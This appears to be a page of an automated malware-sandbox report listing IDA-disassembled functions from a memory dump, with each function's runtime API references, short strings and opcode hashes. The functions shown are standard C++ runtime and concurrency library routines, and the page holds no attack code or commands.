Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: e469d0eb6bdc84dce95436f20cced3a99defc03cd3c4c209ef5b9ad09d49ca70
Instruction ID: dad98be0ab949201edc9aa15a67837788b2d813b4ade6db19d8fa7116940e57a
Opcode Fuzzy Hash: e469d0eb6bdc84dce95436f20cced3a99defc03cd3c4c209ef5b9ad09d49ca70
Instruction Fuzzy Hash: D4416C7190020AAFCF1ACF98CD95AEEBBB5BF4C300F15406AF90966211D7359AE1DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0030225A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

Concurrency::details::DeleteAsyncTimerAndUnloadLibrary.LIBCMT ref: 0030229C
Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 003022A4

Part of subcall function 00301FD1: CreateTimerQueue.KERNEL32(?,?,?,000000FF,00000000,00000020,?,?), ref: 00301FFF

Concurrency::details::platform::__DeleteTimerQueueTimer.LIBCONCRT ref: 003022AF

Part of subcall function 0030363A: DeleteTimerQueueTimer.KERNEL32(?,?,?,?,?,00301F81,00000000,?,00000000), ref: 0030364A
Part of subcall function 0030363A: GetLastError.KERNEL32(?,00301F81,00000000,?,00000000), ref: 00303654

Strings

3/, xrefs: 003022FE

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Timer$Queue$Delete$Concurrency::details::$AsyncConcurrency::details::platform::__CreateErrorLastLibrarySharedUnload
String ID: 3/
API String ID: 1964632990-2584162468
Opcode ID: 4b9927ac2929d9f5c08cae3d0e4db0f6b9231b47594253a82f344ee5f9de84a1
Instruction ID: 4f46e8dc4c2b13dd62484bb5c122e3f828e6600fbc96fb77a5cd2ebc3eccac62
Opcode Fuzzy Hash: 4b9927ac2929d9f5c08cae3d0e4db0f6b9231b47594253a82f344ee5f9de84a1
Instruction Fuzzy Hash: 0821D5316027009FCB27DF94C8A9A2B73E9EF45720B15496DE486CB6D0CB34ED40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00315172 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 003151D2
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0031521D

Strings

3/, xrefs: 0031518F, 003151AC
pContext, xrefs: 00315215

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: 3/$pContext
API String ID: 3390424672-1612168763
Opcode ID: 6c721989ccc417b3a90436fc167236c5afd5b4e4c2abf25cdd224adcc16fc1b3
Instruction ID: 68a89aa17a598decdbc87f5f31e12b3f3e1076b294425d2f252ec0675ce5cfc3
Opcode Fuzzy Hash: 6c721989ccc417b3a90436fc167236c5afd5b4e4c2abf25cdd224adcc16fc1b3
Instruction Fuzzy Hash: B211A536600614DBCF1FAF54C4955ED7769EF88360B154065ED029B242DB74ED858AD0

Uniqueness

Uniqueness Score: -1.00%

Function 003006A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

InitOnceExecuteOnce.KERNELBASE(?,002FF962,?,?), ref: 003006C3
SetLastError.KERNEL32(0000000D,?,00000000,?,002FF962,?,?,?,00000000,?,002FEE51,003493A0,002FE535,003493A8,F139A196), ref: 00300721

Strings

3/, xrefs: 003006BD, 00300707

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Once$ErrorExecuteInitLast
String ID: 3/
API String ID: 3407056439-2584162468
Opcode ID: 43874765c79edba7637b171985ebd92bb3a337dd67165c4ebc5d60fd74fa0101
Instruction ID: 94f0ec6334eafbf6d3c6dc8d3d833ee30b8862224783136dd781c8bb962a3a0f
Opcode Fuzzy Hash: 43874765c79edba7637b171985ebd92bb3a337dd67165c4ebc5d60fd74fa0101
Instruction Fuzzy Hash: C511E53524212AAFCF1B5F64DC9467EBB6AFF48B20F014039F91696290CB71AC218BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00328817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00328882
_free.LIBCMT ref: 00328891
_free.LIBCMT ref: 003288A0

Strings

Y%2, xrefs: 0032886C

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable
String ID: Y%2
API String ID: 1464849758-3154660682
Opcode ID: fc165ac5560a7b69e6e621bd6829d2fd0356f425aa65724438bfbbadf9f88fdf
Instruction ID: b8f173c27d1d5371a8c0f19bbd1ce76036570035833f76bb7b3828b0c7d310c5
Opcode Fuzzy Hash: fc165ac5560a7b69e6e621bd6829d2fd0356f425aa65724438bfbbadf9f88fdf
Instruction Fuzzy Hash: AB113D71C01228AADB06AFA9EC816EEFFB8BF0C310F54446AE814B2251D6314A85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00316BFC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingRing::GetPseudoRRNonAffineScheduleGroupSegment.LIBCMT ref: 00316C0E

Part of subcall function 00315C24: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00315C41
Part of subcall function 00315C24: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00315C56

Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00316C41
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00316C6C

Strings

3/, xrefs: 00316C24

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GroupRing::ScheduleSchedulingSegment$FindWork$AffineItemItem::NextPseudo
String ID: 3/
API String ID: 2684344702-2584162468
Opcode ID: 98943433fb110708bf189a1f45337694c7aad118894e11435fd5491244cad722
Instruction ID: ac6df47b9ff4d506e595d1c089c1a3e1ad745aac13563bdf5608eadf763cf65c
Opcode Fuzzy Hash: 98943433fb110708bf189a1f45337694c7aad118894e11435fd5491244cad722
Instruction Fuzzy Hash: 5C019676A00619EBCF0ADF94C4919EE77B9EF8D360B154065EC46EB301DA30EE45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0030DB5F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0030DB73
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0030DB97
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0030DBAA

Strings

pScheduler, xrefs: 0030DBA2

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 79b5e5e108ac673715f801c0af336072531ac6a9b98d13c72d207198d7b3250b
Instruction ID: fabab9399124ea4805f481f7c65da7a6015a7bdfbee50cbf91d96af5c16dc3df
Opcode Fuzzy Hash: 79b5e5e108ac673715f801c0af336072531ac6a9b98d13c72d207198d7b3250b
Instruction Fuzzy Hash: 48F09731A05204A7C72BFB94D862CEEF3B9DF91B64721802DE1022B2C2CB70BE05C690

Uniqueness

Uniqueness Score: -1.00%

Function 00302FC3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33timeCOMMON

Download Yara Rule

APIs

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00302FCE

Part of subcall function 00301FD1: CreateTimerQueue.KERNEL32(?,?,?,000000FF,00000000,00000020,?,?), ref: 00301FFF

Concurrency::details::platform::__DeleteTimerQueueTimer.LIBCONCRT ref: 00302FD7

Part of subcall function 0030363A: DeleteTimerQueueTimer.KERNEL32(?,?,?,?,?,00301F81,00000000,?,00000000), ref: 0030364A
Part of subcall function 0030363A: GetLastError.KERNEL32(?,00301F81,00000000,?,00000000), ref: 00303654

Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00303006

Strings

3/, xrefs: 00302FF8

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Timer$Queue$Concurrency::details::Delete$Concurrency::details::platform::__CreateDerefErrorLastLockNodeNode::Shared
String ID: 3/
API String ID: 2265715777-2584162468
Opcode ID: e4650f409a1b6b4967462cb68bc4a39476af0d85df7a0120f76f30d069489159
Instruction ID: f708d1c5960d6b00389a94f82ab05876f1f6d94d96df06f01ca77b2ec40a9c45
Opcode Fuzzy Hash: e4650f409a1b6b4967462cb68bc4a39476af0d85df7a0120f76f30d069489159
Instruction Fuzzy Hash: 71F0A7353022156BCA06A725DC55A6EB76DEF84370F154025EA069B381DB61BD12CAD1

Uniqueness

Uniqueness Score: -1.00%

Function 0030F39D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0030F3BF
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0030F3D2

Strings

3/, xrefs: 0030F3B3
pContext, xrefs: 0030F3CA

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: 3/$pContext
API String ID: 548886458-1612168763
Opcode ID: 1dfd75d3a2012bbf865078d6a965352ae97105f5db975b54dc584428d37fd451
Instruction ID: 400dff3b7315129daa8aaf8a3a24edaeb47511d92f26f44fd2ee002149c2ff68
Opcode Fuzzy Hash: 1dfd75d3a2012bbf865078d6a965352ae97105f5db975b54dc584428d37fd451
Instruction Fuzzy Hash: E4E0D139B0020857CB05B764D855CDDF77EDEC57607154025F51297391DB74AE45C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 003203C1 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00320448

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ef0250a1834fab0edcf039f908b4eb8de797c860636ef4b70f3785c62e0ec0bf
Instruction ID: 3920135dd65f271168969131feaeb1b3b3ab402169c153ad11906927fe167678
Opcode Fuzzy Hash: ef0250a1834fab0edcf039f908b4eb8de797c860636ef4b70f3785c62e0ec0bf
Instruction Fuzzy Hash: D4B147329052659FDB1BCF28D891BBEBBE5EF95300F258169E854EB243D2349D09CF60

Uniqueness

Uniqueness Score: -1.00%

Function 002E7BE0 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,F139A196), ref: 002E7C59
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 002E7CC0
GetProcAddress.KERNEL32(00000000), ref: 002E7CC7

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 3f684b457fbf2cb1a67ac9e1e8a74ae336c4766701aaf30f2356eaac1b071154
Instruction ID: 427400c369c9d4b71eb91760752cd41604a3b18b2282a3976a1e03fe49ddc1e4
Opcode Fuzzy Hash: 3f684b457fbf2cb1a67ac9e1e8a74ae336c4766701aaf30f2356eaac1b071154
Instruction Fuzzy Hash: EE514970D242489BDB15EF69CD457EDBB79EF45310F904298E8099B3C1DB309AD08F51

Uniqueness

Uniqueness Score: -1.00%

Function 00318685 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 003186D6
TypeidsEqual.LIBVCRUNTIME ref: 003186FB
PMDtoOffset.LIBCMT ref: 00318711
PMDtoOffset.LIBCMT ref: 00318792

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: fd63101795946bb2dc0bc3f327cffcf773e51e36679e5bf0ce4eb6eb74f9eb14
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: C251C1359042099FCF1ACF68C8816EEFBF5EF19310F25449AD841A7391DB32AD85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 002E2F80 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 002E301F
GetCurrentThreadId.KERNEL32 ref: 002E303E
__Mtx_unlock.LIBCPMT ref: 002E308C
__Cnd_broadcast.LIBCPMT ref: 002E30A3

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 3fa8f34c8a5a794eae886ee80c78d926a739a12f60775fce2d62b04304aca1eb
Instruction ID: 36056c3bd499d3229c365d913d1863c3e1dafcb60270786f9b8ed1e054dd2214
Opcode Fuzzy Hash: 3fa8f34c8a5a794eae886ee80c78d926a739a12f60775fce2d62b04304aca1eb
Instruction Fuzzy Hash: 66414771A1020A9FCB11DF65CA0879AF7E8FF14311F004539E816C7781E731EA24CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00321220 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0031A40B: _free.LIBCMT ref: 0031A419

Part of subcall function 003221F7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00328690,?,00000000,00000000), ref: 00322299

GetLastError.KERNEL32 ref: 00321288
__dosmaperr.LIBCMT ref: 0032128F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 003212CE
__dosmaperr.LIBCMT ref: 003212D5

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 0ed43c9ef70fce7f959b2ac10dca1b720d285d327b4bf082718699f6ba09d36a
Instruction ID: 7439891e440819bc7d62fde6aeddb8c900ac9777a706fd28ceb58e576c4ffe2b
Opcode Fuzzy Hash: 0ed43c9ef70fce7f959b2ac10dca1b720d285d327b4bf082718699f6ba09d36a
Instruction Fuzzy Hash: 2F21D671604725EF9B32AFA5AD809ABB7ACFF283647114914F929D7150D730FC419790

Uniqueness

Uniqueness Score: -1.00%

Function 00314DA0 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00314E34
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00314DE5

Part of subcall function 0030BD8C: SafeRWList.LIBCONCRT ref: 0030BD9D

SafeRWList.LIBCONCRT ref: 00314E2A
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00314E4A

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: b8dffb0daeb8cf0f9dda880734df4d0bd6fde08ba81d1c7e21c7b58585b0402a
Instruction ID: 68b988d523952a7289b87a3e2506a54d7f5596d0662eb18abbbcde9dd12eb745
Opcode Fuzzy Hash: b8dffb0daeb8cf0f9dda880734df4d0bd6fde08ba81d1c7e21c7b58585b0402a
Instruction Fuzzy Hash: 9F21BE7160120ADFCB09DF24C891BA5FBE9FB89718F14D2AAE4054F582D731E9D9CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00302D5D Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00302D7F

Part of subcall function 00302F3B: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00308EF7

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00302DA0

Part of subcall function 00303C22: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00303C3E

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00302DBC
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 00302DC3

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

